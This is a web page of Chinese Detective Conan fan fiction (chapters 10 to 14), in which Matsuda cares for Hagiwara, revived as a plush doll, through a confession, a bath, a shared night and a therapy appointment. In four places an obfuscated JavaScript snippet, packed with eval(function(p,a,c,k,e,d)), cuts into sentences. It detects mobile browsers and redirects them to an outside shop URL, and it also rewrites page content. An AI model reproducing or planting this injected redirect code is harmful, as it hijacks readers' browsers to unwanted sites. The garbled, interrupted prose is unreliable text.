灰白的烟雾在寒冷的空气中徐徐上升,模糊了他半张脸的轮廓。那双惯常锐利的凫青色眼睛,此刻隐在烟雾与额前的卷发前。夹着烟的手指骨节分明,还沾染着一点极淡的苦味。 烟燃烧的极快,很快就蓄了一节白色的烟灰,指尖轻点弹落烟灰时,动作利落又干脆。 “看来这次的事,”他开口,声音有点哑,手在空中随意地挥了挥,将烟雾驱散,“和那家伙没关系。” 所谓的那个家伙就是一年前害死萩原研二的炸弹犯。还以为这次终于能找到有关那家伙的线索,却没想到依旧是一场空,反而牵扯进了另一个更复杂的案件里。 萩原玩偶安静地待在他口袋里,抬了抬眼眸,有点心虚的没接过这个话题。 “还真是所谓的犯罪者共通思路。”松田阵平眯了眯眼,“关于这方面的特训也得练起来了。”起码有下一次的时候,那些队员们绝对不能再这么慌乱了。 “果然是最靠谱的小阵平啦。”萩原研二身体跟着晃了晃,撑着下巴感叹。 “对了。”松田阵平忽然低头,凫青色的眼眸在昏暗光线下显得格外沉静,他看着口袋里那个小小的身影,“拆弹的时候,突然想起来了。” “一年前,最后那几秒,通讯断掉之前……”他询问,“你是不是想说些什么。” 空气仿佛凝滞了一瞬。 萩原研二眼睛中映着远处路灯微弱的光,犹豫了很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197759|197000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久还是没有说出来。松田阵平等了很久,最后他还是很短促地呼出一口气,白色的雾气迅速消散。 “那我再换个问题,你想说的话——和我们最后一次度过的圣诞节那天——你想说的是同样的话吗。” 萩原研二突然就有些后悔,或者说他从复活之后就一直在后悔。 当一切太过顺风顺水的时候,他总会想这是不是一扇通往毁灭的门。所以当他察觉到自己对松田有特殊的心思时,每一次都想踩下刹车。 再等等、再等等吧。 还有时间,以后总会明白。不想那么草率地做出决定,不想说出口后和松田阵平连朋友都没办法做,他总是有着各种各样的顾虑。 可等萩原研二好不容易明白自己心意时,那句“可以在一起吗”就再也说不出口了。 后悔吗。 最后几秒、手机掉落、死亡来临的那一刻。 那一瞬间压倒恐惧的是——心里铺天盖地浮出的后悔。 后悔那么迟才明白自己的心意,后悔以后要留下家人和小阵平,后悔直到生命进入最后六秒,那句最重要的喜欢都卡在喉咙,直到被爆|炸产生的轰鸣声彻底淹没。 直到现在,他依旧在后悔。 后悔复活后只能用这样一具身体,什么也做不了,连正常的交谈和拥抱都要掩人耳目。也像在这种时候,被小阵平用这样迷人的视线注视着,连一句“我喜欢你”都说不出口。 “算了,萩。” 昏暗的巷子里,松田阵平等了半天等不到回复,就知道这家伙还是没有做好准备,说实话他也不太懂——拜托,到底是什么话这么难以启齿啊。 这可是社交达人萩原研二都觉得说不出口的话。 他真的很好奇欸! 不过,松田阵平将手中燃尽的烟蒂熄灭,精准地弹进几步外的垃圾桶。他手指很自然地将口袋边缘拢了拢,把探出脑袋的萩原玩偶往里按了按,转身迈开步子。 “还是那句话,不想说就下次再说吧。” “我们回去吧。” “等等、” “小阵平!” 萩原研二的声音从口袋里传出来,带着一种少见的急切,他声音压的很低,几乎一出口就被风吹散,“是一样的……” 这话一出口,萩原自己反而先僵住了。 糟糕。 他想他真的是完蛋了。 就这么说出来了,一点都没有铺垫,也没有他擅长的玩笑缓冲。直白白地露出了最柔软的真心。 不行不行。 他想象中的告白必须正式,要有鲜花和烛光晚餐。当然这并不是把小阵平当成女生的意思——而是他觉得对待小阵平,就该用最郑重、最珍惜的态度。 而不是像现在这样,在冷飕飕的后巷,用十厘米不到的小玩偶身体做这种事说这种话啊,这样一点都不帅气。 他感到一阵羞耻和懊恼,脸颊也略微红了起来,虽然他知道这具身体和常人感知无异,但这是不是太明显了一点啊。 萩原研二只能在心里拼命祈祷小阵平别再追问了。 或许是他的祈祷起了作用,松田阵平只是停下了脚步,侧过头瞥了一眼,带了点无可奈何地对着他轻轻地“嗯”了一声。 如果忽略掉松田阵平通红耳根的话。 “知道了。”松田重新迈开步子,步伐似乎比刚才更稳了一些。他将一只手随意地插在外套兜里,另一只手拍了拍萩原研二。 “冷死了。”他自言自语地说了一句,“干脆打包一份咖喱饭回去吃吧,至于你的衣服只能明天买了。” 话题又重新回归日常,萩原忽然觉得,这样也不错啦。 彼此的心照不宣,松田阵平有猜到他的想法吗,萩原研二也不太明白。不过鲜花和烛光晚餐……等他变成成人体型一定会做到的。 萩原想,毕竟他们最擅长的,就是把不可能变成有可能啦。 所以,小阵平到底是和谁学的——这样一招以退为进的招数啊。 “那我想吃寿司和啤酒。” “嗯,知道了。” “其实,我也想来一根。” “等会去给你买一包。” 11.觉醒超能力的第十一天 最后松田阵平买了一包萩原之前爱抽的牌子,还打包了两人想吃的晚餐回去。等回到家里后,萩原研二抱胸坐在桌子上,对着面前的寿司陷入了沉思。 “?”萩原研二张了张嘴,对准寿司就是一口,寿司消灭了一半,也成功在嘴边留下了酱料。 松田阵平将最后一勺咖喱塞进嘴里,噗嗤一下笑了出来,拿出一张干净的手帕,对着萩原研二的脸颊擦了擦,然后没有擦掉,反而让酱料糊满了整张脸。 萩原研二眼神无悲无喜地看向松田阵平,露出和善的笑容,“算了,我知道小阵平一定不是故意的吧。” “咳咳。”发现擦不干净后——确实抱着故意的想法,将小玩偶整张脸擦的都是的松田阵平诡异地沉默了两秒,默默将手中的手帕攒进手心,辩解道,“一定是因为这手帕太干了,我去打湿一下。” “好的哦。”萩原研二重新坐了回去,只觉得鼻尖充斥着浓郁的酱料味,实在是香过头了。 好不容易等到松田阵平拿了块湿手帕回来,带着凉意的手帕在脸上来回摩擦了好一会,才听到松田阵平干巴巴的一句,“萩,你可能得去洗个澡了。” “……”小阵平!!! 萩原研二在去洗澡之前决定先把剩余的寿司吃完,避免等会洗完澡后,吃寿司又重新沾上酱料,接着又去洗澡的循环。 一盒一共八个寿司,萩原研二吃撑了也才勉强解决了三个,最后几个还是交给了松田阵平。 卷发青年凑近小玩偶,脸上还颇为稀奇地摸了摸他的肚子,“居然真的鼓起来了。” 萩原研二不停地往后缩,试图躲避幼驯染一直往他肚子上戳来戳去的邪恶大手,“……快住手啦,而且吃撑了肚子鼓起来不是很正常的事吗。” “明明小阵平你也是啊。” 松田阵平低头看了看自己的肚子,抬头唇角微勾,无比骄傲道,“我有——六块腹肌,肚子还是平的,才没有撑起来哦。” “……小阵平,我觉得我们这段对话有点糟糕。”萩原研二整个人背过身去,被酱料糊满的脸上浮出一抹红晕,“所以,我要怎么洗啊。”半长发的小玩偶在桌上站起来,歪了歪头。 闻言,松田阵平也不去逗他了。在脑中回忆了一下,说明书上好像也没有写什么小玩偶要怎么洗澡的注意事项啊。 不可能不洗,萩原又不是什么觉醒了什么自动清洗的超能力,既然没有特别标注的话,那就和普通人洗澡是一样的吧。 越想越是这样,把桌上吃完的包装袋丢进垃圾桶,提着萩原研二放进手心,在准备带他去浴室的前一刻,看到复活进度已经到达了百分之五。 成绩斐然,效果显著。 离萩原真正复活,还有百分之九十五。 可喜可贺。 和萩原研二简单地说一声今天得进度,就带着小玩偶来到了浴室。浴缸是不用想了,除非萩原想在小小一个的浴缸里体验一下溺水的刺激感。 在洗手池里放满了热水后,松田阵平偏头看了一眼不知所措的萩原研二,沉声道:“今天还没去买衣服的,所以。” 得到萩原投来震惊的眼神,松田捏了捏眉心,解释道,“你先把这身衣服先脱了,等会洗了烘干后明天还能穿。” “等明天我们再去买几件,今天先不穿了。”松田阵平冷酷地吐出三个字,“脱了吧。” 萩原研二:“……”这段对话,真的好容易让人误会啊,还好这里只有他们两个。 萩原研二别扭地拉着西装外套,松田阵平点了点他的鼻尖,好笑道,“之前又不是没有看过——而且你现在只是一具棉花身体,也看不到什么吧。” “小阵平……”萩原研二小声地嘟囔了一句,声音和蚊子嗡嗡声也差不了多少,感觉从耳根传来的滚烫热意。 首先声明,他不是变态。 他只是对棉花身体的构造有些好奇罢了。 卷发青年整个人转过身,想了想又迈出浴室,靠在门外的墙壁上,听不出情绪的声音传进浴室里,“我不看,快洗吧。” 灯光打在他的脸上,长长的睫毛在眼下投出一小片浅影。 “好的,小阵平。”萩原研二连忙应了一声,揉了揉脸,表情恢复正常,把身上初始的两件套脱了下来,整个人一跳跃进来洗手池。 下一秒,萩原小玩偶只感觉身体吸了水以后,就变得无比沉重,接着整个人就不受控制地沉了下去。 棉花,遇水则沉。 他艰难地伸出一只手,“小阵平——快来救救hagi啦。” “……”松田阵平赶紧拧开浴室门,脸上布满了黑线,“所以,一开始就不要让我出去啦。” 他伸手将小玩偶从水底捞了起来,还不忘掂量了几下,棉花身体吸满了水之后,确实重了不少,也难怪他起不来。 萩原研二身上披着一块手帕做成的浴巾,双目紧闭,面容十分安详,双手合十交叠放置在胸前,“咕噜咕噜、咕噜噜噜。”看起来人好像去了有一会儿了。 松田阵平戳了戳他的脑袋,凫青色的眸中闪过一丝好笑,又挤了一点沐浴露往他身上涂了一点,“我来还是你自己?” 听到这句话,萩原研二立马原地复活,坐了起来。他举起一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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折腾了快大半个小时,萩原研二终于浑身干爽、暖烘烘地被松田阵平用一块干净的软布重新包好,他打了个哈欠靠在松田手心。 松田阵平将他放在枕头边专门空出来的位置,自己去快速洗了个澡也躺了下来。 “小阵平。”萩原研二的声音带着一丝柔软的倦意。 “嗯?” “虽然已经过去了,但我还是想说一句圣诞快乐,小阵平。”萩原的声音越来越小,最末尾一句话因为困意有些含糊不清,“明明说好都要一起过的。” 松田阵平将手机放在一旁充好电,又定好明天稍微晚一点的闹钟,将台灯关上,闭眼说了句,“现在也不迟。” “也是,那么晚安啦。” “晚安。” 无比寻常的一段对话,而他们都明白在失去后才知道这段对话有多么来之不易。 12.觉醒超能力的第十二天 清晨,铃声响起。 冬日里难得一见的灿烂阳光照映在总裁圆嘟嘟(划掉)缝线分明的侧脸上,总裁萩原从500平米的床上醒来,睁开了睿智的双眼,那双锐利的紫色眼眸中划过一道三分讥笑七分薄凉的光芒。 总裁萩原缓缓从床上坐起身,而一旁站着一位戴着墨镜、身穿黑色西装的卷发青年,他就是管家松田,早已恭候多时。 见到总裁醒了,管家松田立马迎了上来,手中像是变魔术一样,奇迹般地掏出了一套被阳光充足晾晒过的深蓝色西装。 “少爷你终于醒了,早饭已经热好了,我给您穿衣吧。” “……”沉默。 高大的青年手指捏着一套小型西装,身影越靠越近。随着距离逐渐缩短,更多光线被隔绝在身后。萩原总裁端坐在大床中央,看到管家充满倾略性的双眸,后背无端攀上细微的凉意。 明明青年满脸都是无可挑剔的恭顺神情,可低垂的眉眼间却仿佛蒙着一层极淡又挥之不去的阴影,像是隐藏在幕后的究极大boss。 这一幕是不是有点诡异了。 满心都是警报拉响的总裁萩原来不及思考那么多,安全距离所剩无几。他控制不住的想要往后缩,脑中不断响起危险的提示音,不知道为什么——总感觉管家松田很想揍他的样子。 还有他们的位置是不是反了,明明他才是总裁欸。当然——以下犯上的管家松田不顾总裁萩原的挣扎,强行给他套上那套西装,然后他感觉衣服越勒越紧。 救命呀,hagi要喘不上气了,还有小阵平你是不是ooc了。 心中传来呐喊,也或许是他的挣扎起了作用,耳边闹钟的叮铃铃声越来越大,萩原研二猛地睁开双眼,胸膛里那颗的心脏还在狂跳。 原来刚刚是做梦啊,他怎么会梦到这种小阵平变成他管家的噩梦啊!!!难不成是昨天小阵平给他擦脸带来的冲击太大了一点,之前都是他主动给小阵平擦脸的! 睁开眼后他发现头顶一片漆黑,萩原有一瞬间的茫然,他分不清现在是白天还是晚上。 接着又感觉到自己好像被什么沉甸甸、还带点体温的东西压着。他下意识地伸出短短的手臂向上推了推,却发现完全挣脱不出来。 他不放弃地蹬了蹬腿,扭了扭腰。 接连努力了十多分钟。 他发现自己拼尽全力仍无法战胜。 “……”萩原研二累得气喘吁吁,只感觉整个身体都快要扁了。 可恶的努努身体,如果他还是成年体——就能主动揽着睡相霸道还毫无自觉的幼驯染继续睡觉了,而不是像现在这样,被压在身下根本无法动弹。 果然他梦中的窒息感,就是因为小阵平压着他,他一直喘不上气的原因吗。萩原研二在黑暗里无声地瞪了一眼空气,终于放弃挣扎,自暴自弃地瘫成一块扁平的萩原饼。 算了……就这样吧。可能是身体里面是棉花的原因,他能感觉到其他感知,唯独感觉不到被压扁的痛。 那他为什么还能在梦里赶到窒息啊。 想了半天想不出一个所以然,他带着一点莫名的委屈和认命,在松田阵平无意识的臂弯里躺好,重新闭上了眼睛。 在即将陷入沉睡时,他模模糊糊地想到,小阵平的睡姿还是一如既往的糟糕啊,之前留宿他家的时候,从小到大好像都是这样的。 那时候松田阵平还是个小豆丁,顶着一头天然卷,一张帅气又可爱的脸直接戳中了萩原研二的审美。两人成为朋友后,松田就常常跑去萩原家,经常一待就是一整天。 两个小男孩在一块有太多有趣和好玩的,不是出去玩,就是呆在家里埋头捣鼓一堆机械零件。 更熟悉之后,还会偷偷把萩原千速已经坏掉的收音机拆了又装,最后因为技术不够成熟,没办法拼回原来的样子导致他们都被揍了一顿。 不拆东西的时候,他们也会挤在萩原的房间里看看新出的漫画、打打游戏。不出一会,他们因为讨论漫画剧情和打游戏的声音太大,被隔壁的萩原千速投诉。 偶尔玩得太晚,他们两都忘记了时间,松田阵平就会在眼皮上下打架的时候,强忍着困意给松田丈太郎打去电话,在萩原父母的挽留和自家老爸歉意地默许下,抱着萩原妈妈准备好的备用被褥,无比熟练地爬进萩原研二的被窝。 小小的房间里两床被褥并排铺开,熄灯后黑暗中只剩下两个人窸窸窣窣的翻身声,和不知道谁先起的头,又开始凑在一块讨论起白天看过的漫画和游戏。 毕竟睡意总会在上|床过后消失不见。 不知道小声聊了多久,精力有限的小男孩们终于撑不下去,开始产生沉重的睡意,迷迷糊糊地说了半天后,一个接着一个地陷入睡眠。 起初还好,可每到了后半夜,萩原研二就会被一股重量压醒,或者被一条不客气的胳膊和腿地踹醒。 身旁的小卷毛睡得四仰八叉,大半边身子已经横了过来。被子卷走大半,一只手或一条腿总要越过线,牢牢扒拉住他,仿佛把萩原研二当成了一个大型的人形抱枕。 推也推不动,叫也叫不醒。 刚开始萩原研二还会试探性地小声叫他,说些什么类似于“小阵平你压到我了”“可以把手和脚拿开吗”之类的话。 后来发现松田阵平通常只会皱皱眉,从鼻腔里发出一声含糊的咕哝。说完后非但没有挪开,反而胳膊一收把小小的萩原捞得更紧了些。 小卷毛整张脸都埋进了萩原研二的颈窝,还会不耐烦地倒打一耙,含含糊糊地嘟囔一句,“萩别吵了,我要睡觉。” 小小的萩原又莫名觉得有点好笑,乖乖地放弃了挣扎。像大人一样在心底叹了口气,接着就认命了。 小阵平的睡相真差,当然只有挚友hagi才能受得了啦。 认为自己是对方最好的朋友,也要接受挚友一切的萩原研二在对方的怀抱和所剩无几的被子里,小心翼翼地转动身体,艰难的给自己挣出一点呼吸的空间。 又很得寸进尺的,用自己的长手长脚牢牢地抱住了松田阵平,蹭了蹭陷入美美的梦乡。 在梦中被莫名出现的猴子——死死勒住的小小松田:“Zzz…” * 再一次醒过来的时候,身上的重量终于消失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217425|197000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,也没有做什么奇奇怪怪的梦。萩原研二四下打量了一下,周围格外安静,看来松田阵平不在房间。 他又看了一眼闹钟,十点过十分。 正在萩原研二思考着要不要跳下床,进行一场熟悉地盘的大冒险后,客厅就传来门锁被打开的声音,紧接着松田阵平带着一股室外的凉气走进卧室。 他脱下外套放在衣架上挂好,又走到床边,伸手坐好的萩原玩偶抱了起来,低声问了一句,声音还带着一点晨起的微哑,“醒了?” “嗯~小阵平是出去了一趟吗。” 松田应了一声,“我去买了一点早餐,放在桌子上。” 解释完后,青年和小玩偶一起来到了洗手池边洗漱,说是洗漱也算不上,松田阵平拿出刚刚买的小方块毛巾,用水首先将新的毛巾洗干净。 萩原本打算自己来,但最小型号的毛巾也能包裹住他整个身体。 只好配合着松田的动作,让抬脸就抬脸,让抬胳膊就抬胳膊,最后还漱了漱口。忍不住在心里嘀咕小阵平照顾人的架势这么熟练。 如果被人看到不就证实了——松田给娃娃过家家酒的谣言真实性吗。 简单地洗漱后,松田把萩原放在餐桌上。桌上摆着一个塑料袋,里面堆了好几个饭团,和一盒牛奶。 萩原研二诡异地看向那盒印着草莓图案的牛奶,他面上带上了震惊,不可思议地问道,“小阵平,那盒牛奶不会是给我的吧。” “没错。”松田阵平点了点头,言简意赅说,“喝牛奶,长身体。” 身高确实确实很矮的玩偶满脸菜色,摇摇欲坠,“……” 小阵平你是不是故意的啊!!! 就算长身体也用不着草莓味的牛奶吧,怎么说也要是补钙的牛奶啊。不对说到底,他长身体根本用不到牛奶啊。 “噗。”松田阵平噗嗤一声笑了出来,拆开塑料包装,将一个金枪鱼蛋黄酱饭团推到萩原面前,“快吃吧。” 他自己则拿起一个烤肉饭团吃了起来,看了一眼牛奶,松田虚了虚眼,“我还是太善良了。” 萩原研二拿饭团的手一顿,瞪大了双眼看向松田。 青年咬了一口饭团咽下去,慢悠悠地开口,“萩你也许没发现,你今天长高了很多哦。” “欸!”萩原研二低头打量自己,怎么看都觉得自己还是一样的短手短脚,根本看不出变化在哪里。 “可能是我们昨天睡一起的原因。”松田阵平三四口就将饭团塞进口里咽了下去,“今天一看复活进度条居然就到十了。” “一天百分之十,照这个趋势下去,不说十天,起码一个月里,你就能完全复活了吧。” “欸!居然这么快吗!” 萩原研二惊出豆豆眼,他还以为要变成成人体会很漫长呢。毕竟漫画里都是这么写的,复活之类的路上一定会披荆斩棘、困难重重。 现在一看只是接触了一天,在一张床上睡了一觉就有百分之十了!那真正的复活不久近在眼前了吗。 亮晶晶的眼睛看向面前的卷发青年,萩原研二兴奋道,“小阵平!今天也一起睡吧!” 13.觉醒超能力的第十三天 松田阵平从袋子里拿出另一个口味的饭团,听到这句话后,指尖一顿。他垂落眼睫,凫青色的瞳孔里掠过一丝复杂的情绪。 晨光恰好从窗帘缝隙里漏进来,在他微卷的黑发边缘镀上一层浅金。他脱下外套后,里面只穿了一件简单的白衬衫,最上方的扣子松垮地解开,露出线条利落的锁骨。 “哈,你知道自己在说什么吗?” 萩原研二眨了眨紫罗兰色的眼睛,圆圆的脸蛋和短短的四肢衬得整个人都软乎乎的,像一团会动的棉花糖。松田阵平指尖不受控制地动了动,心底莫名发痒,很想再捏一捏那张脸。 “当然知道~”他又重复了一遍,语气里是藏不住的雀跃,“一天百分之十的话,最快十天就能复活了!” “小阵平肯定也想让帅气的研二酱早点回来吧?” 松田阵平盯着他看了几秒,目光才慢悠悠落回手里的饭团,低声应了一句,“当然想了。”他慢条斯理地咬了一口饭团,语气听不出情绪,“不过你也太兴奋了。” “欸,兴奋点不好吗?”萩原歪了歪头,原本的黑色半长发在努努形态下变成一片柔软的发片。松田阵平的视线总是不自觉被吸引,又忍不住想去抓一抓了。 对危险毫无所觉的萩原研二喋喋不休地继续说着,“能复活欸!能变回原来的样子,能重新开车、重新拆弹、还能重新——” 他话音忽然顿住,紫色眼眸心虚地闪了闪,像是意识到自己说得太多。松田阵平轻轻挑了挑眉,精准抓住那半截话,“还能重新什么。” “没、没什么。” 萩原研二低下头,捏着饭团的手指悄悄收紧。耳尖微微泛红,在一身深蓝色西装的衬托下,那点浅红格外显眼,藏都藏不住。 看到小玩偶一连串的反应,松田阵平嘴角微微上扬,郑重其事地清了清嗓子,一字一顿道,“我懂了——又是和那件事有关,对吧?” 他放下手中的饭团,伸手轻轻捏了捏萩原的脸颊。努努形态的触感果然软绵绵的,仔细探寻还可以触碰到一丝不属于玩偶的鲜活温度。 因为是萩原,才会不一样。 “你在害羞什么。”卷发警官声音放得很低,裹挟着几分戏谑,“以前联谊的时候,你不是最会说吗。” “根本不一样!”萩原研二抬起头,努努形态的眼睛又大又圆,瞪过来半点威慑力都没有,反而像是在撒娇。 “嚯,哪里不一样?” 松田阵平忽然凑近,帅气的脸庞在幼驯染眼前放大,呼吸轻轻拂过他的脸颊,混着淡淡的饭团香气。 萩原研二的心跳莫名漏了一拍。 “小阵平,靠太近了啦。”他轻声嘟囔。 松田阵平非但没退开,反而得寸进尺的又凑近了一点,鼻尖几乎要碰到他的额头,瞳孔里清晰地映照出幼驯染的模样。 他故意拖长尾音,声音在此时听起来有点欠,“欸——有吗?” “可是我醒来的时候,发现某个家伙死死地扒着我不肯松手呢。” 沉默两秒后,萩原研二默默抬眼看向毫无自觉的幼驯染:“……” 被那一眼看得浑身发毛的松田阵平当即炸毛,“喂,你那是什么表情啊!”刚刚还有些缱绻旖旎的气氛,瞬间荡然无存。 萩原研二一本正经地开口,“以后有机会我一定要录下来。” 对自己睡姿心里有点数的松田阵平被这话一噎,默默别开脸。他故作镇定地哼了一声:“胡说,我才没有。” “没有吗?”萩原研二同样笑嘻嘻的,“那松田大人一定不会拒绝——我录下松田大人起床的英姿吧。” “喂,你真是够了!”松田阵平把剩下的饭团往萩原嘴里一塞,恶狠狠地瞪了他一眼,“闭嘴,谁要录那种无聊的东西啊。” “唔,是我啦。”萩原含糊不清地和嘴里的饭团较劲。 落了点下风的松田阵平没再搭话,抽出张纸巾擦去桌子上散落的芝麻粒和海苔碎。将自己这块区域擦干净,他才重新靠回椅背上,心里有些遗憾地想,自己还是太心软了。 他原本打算等萩原喝完那盒草莓牛奶——再告诉萩原因为喝了牛奶长大了一点这件事。 这样一来,他就能名正言顺地骗这家伙喝下数不清的草莓牛奶,顺便把那些画面全录下来,拍下足够笑一辈子的黑历史,留着日后尽情嘲笑。 可惜,他难得的良心最后还是占了上风。 咂舌了一声,松田阵平在心里给自己颁了个最佳挚友奖,在心里默默腹诽了一句,我真是太善良了。 等萩原研二吃完了饭团,松田阵平飞快收拾好残局,看了一眼时间现在也才十一点半。 他装作不经意随口撂下一句,“对了,下午两点半要去一趟米花中央医院,高桥帮我约了心理医生。” “欸欸欸!!!” 被这话惊到的萩原研二直接从餐桌上一跃而起,大步跑过去拉着松田的手上下左右来回打量,嘴里不停念叨着,“怎么回事,高桥警官怎么会突然给你预约医生。” “是哪里不舒服吗,我就说小阵平的黑眼圈太严重了。”说到最后,又不可避免的联想到自己身上,他喃喃自语,“难道、难道还是因为我的事。” “……”松田阵平抚了抚额,有点无奈。就知道萩原会这么想,所以他才不想将后面的事都说出来啊。 但有些事不是他不想说,别人就不会知道的。哪怕松田阵平竭力否认,但萩原研二越想还是越觉得就是这么一回事,整个人迅速灰白下来。 看到这一幕,青年忍不住晃了晃要碎掉的幼驯染,轻啧了一声,再三强调,“我真的没事啊。” “小阵平不要解释了,我都懂。”萩原研二抬头,露出蛋花眼。 “好吧,确实有一部分原因是因为你。”松田阵平避重就轻地说了一遍,还不忘半月眼吐槽,“你忘了——昨天上班的时候,被他们发现我和你说话了。” “在他们眼里我就是自言自语,精神都出现问题了,想的能不多吗。” 罪魁祸首缩了缩脖子。 “所以高桥叫我过去说了这件事,他觉得我可能是压力太大了。就建议我去看看。”松田阵平满不在乎地耸了耸肩,“不过你也知道我肯定没什么问题。” “如果跑一趟才能让他们安心,我倒也无所谓。” 这话听着情真意切,萩原研二却总觉得哪里不对,狐疑地瞥向松田阵平:“小阵平,你该不会是在避重就轻吧?” “哈?我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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松田阵平只是沉默地站在那里,满身狼狈。他连抬头看萩原千速的勇气都没有,只能死死攥紧拳头——独自忍受失去幼驯染后撕心裂肺的悲恸。 在一片混杂着泥土焦黑的废墟中,松田阵平找了很久,却什么也没找到。 因为他的幼驯染连一具完整的尸体都没留下。 “你以为这一年他们是怎么熬过来的。”松田阵平咬着牙骂了一句,萩原研二一下子愣住了。 “他们每天都在想你。”他的喉结滚动了一下,前半段极其小声,不仔细听几乎听不到,“就像我一样——只要是你回来了,无论是什么样子也好。” “不管是人,还是所谓的努努玩偶…”松田闭了闭眼,掩盖住眼底的情绪,“混蛋,如果你在这件事上也想踩刹车的话——” “我会提着你!亲自去你家赔礼道歉!!” 萩原研二的眼眶一点点泛红,喉咙仿佛被哽住一般,鼻子也变得很酸,“……小阵平什么时候变得这么会讲道理了。” 他偏过头声音闷闷的,带着一点不易察觉的哽咽,“hagi真的错过了好多。” 14.觉醒超能力的第十四天 下午两点眼看时间差不多了,松田阵平就带着萩原研二来到了米花中央医院。 走廊里弥漫着医院特有的消毒水味,偶尔有护士经过。 即使他心里早有准备,当实打实捏住那张已经挂好号的预约单时,青年满脸不愉地抱臂坐在医院供人休息的座位上,不爽的样子吓退了好几个也在等号的人。 “没想到现在的黑|道也不好混啊,这种气质的大佬都有心理疾病了。”缩在椅子尽头的中年男人明显误会了什么,小声吐槽了一句。 耳力过人的松田阵平脸色一黑,只想把口袋里的警官证掏出来摆在他们面前,好好看看到底谁是黑|道大佬。 “噗。”萩原研二稳稳坐在他的外套口袋里,小小的脑袋探出来一点,只有松田低头的时候才能看到。几厘米高的玩偶身体让他只能仰着头看人,眸中透出笑意。 “小阵平快笑一笑啦,你都吓到他们了。” 见他毫无掩饰的就钻出来,即使露出来的部分不算很多,松田阵平依旧被吓了一跳。连忙把口袋往身侧拢了拢,确保萩原不会被其他人发现。 扶了扶挂在耳边没播放任何音乐的耳机,不好惹的青年嘴唇动了动,“赶紧回去,现在还在外面。” “马上就到我了,你给我安静一点。” 口袋里的小玩偶还想说些什么,心理咨询室传来叫号的声音,正好是松田,走进去之后发现诊室比想象中明亮,布置的也很温馨让人不自主的就放松下来,完全不像是医院。 房间内摆着几盆绿植,还有一个小沙发,上面铺着暖色的垫子。坐在办公桌后的女人大概三十出头,穿着白大褂,戴一副细框眼镜,气质温和。 “请坐,松田先生。”她合上面前的病历本,露出一个礼貌的微笑,“高桥先生跟我通过电话。” 松田阵平沉默了一会,收起了原本不耐烦的表情。在医生对面的椅子上坐下,调整了一下坐姿恰好挡住小玩偶。 小林医生的声音不疾不徐,轻缓柔和,“他说您最近工作压力比较大,所以建议您过来。” 松田“嗯”了一声。 “别紧张,就当是随便聊聊。”小林医生靠在椅背上,姿态放松,“我不会给您下诊断,也不会强迫您需要说什么。如果不想说当然没关系,我们就这样坐一会儿也可以。” 松田看了她一眼。 这种以退为进的套路在警校时就学过了,刑事课在审讯室里对付嫌疑人的时候也会用这招,不过心理医生会更温柔一些,倒是没想到这种方法有朝一日也被用到了他的身上。 不过他也乐得其见的配合,小林医生点点头,又依次问了一些很常见的问题,例如睡眠质量,有没有做过梦、梦到了什么之类的。 松田顿了一下,但都如实回答了。包括之前偶尔梦到过萩原的事,不过只是偶尔。 “原来是这样,”小林医生时不时附和他一句,在笔记本上写了些什么,“我听高桥先生和我提到过,“我了解到你之前失去了一位很重要的朋友,心里一定很难受。” “我当然理解您,听高桥先生说您特意定制了和他一模一样的玩偶,愿意和我说说这件事吗?” 松田嘴角抽了抽,眼前一黑地想到了警视厅小群里疯狂传播的谣言,即使不想承认但还是应了一声,“我偶尔确实…会和他说说话。” “松田先生对您朋友的感情很深呢。”小林医生又慢慢问道,“这其实是很多人在失去重要的人后,都会有的一种情感寄托,是很正常的行为和事。” 松田阵平按住外套口袋,小林医生不动声色地观察到他的动作。 两人又你来我往地聊了几句,大致了解情况的小林医生在本子上写下一段结论,又对面前的卷发青年正色道,“松田先生您的情况我大致明白了。“ “您想起您朋友的时候,就和玩偶说说心里话。把思念化成继续走下去的动力,而不是困住您的枷锁。我们都明白想念一个人从来都不是错,只是我们都需要一点接受现实的时间。” 小林医生面带鼓励,“我相信松田先生一直都有一往无前的勇气,您的同事太过于担心你了。” “……”松田迟疑了一下,说了声谢谢。 “那么今天就结束了,您不介意的话,结果我稍后会发给高桥先生。”小林医生试着询问,毕竟这种关乎病人隐私的事还是要问问本人的意见才好。 “当然不介意了,或者说我就是要他看看,”松田阵平用舌头顶了顶上颚,扬起下巴轻哼一句,“我压根就没什么问题。” “好的,松田先生。” 从医院出来的时候,天已经暗了。松田站在医院门口,从口袋里把萩原掏出来,放在手心里。 萩原研二坐在他的掌心,两条腿晃了晃,“小阵平顺利过关喽!” “接下来我们去哪里?” “去给你买点衣服。”萩原研二比了个ok的手势,就被松田塞回了口袋。 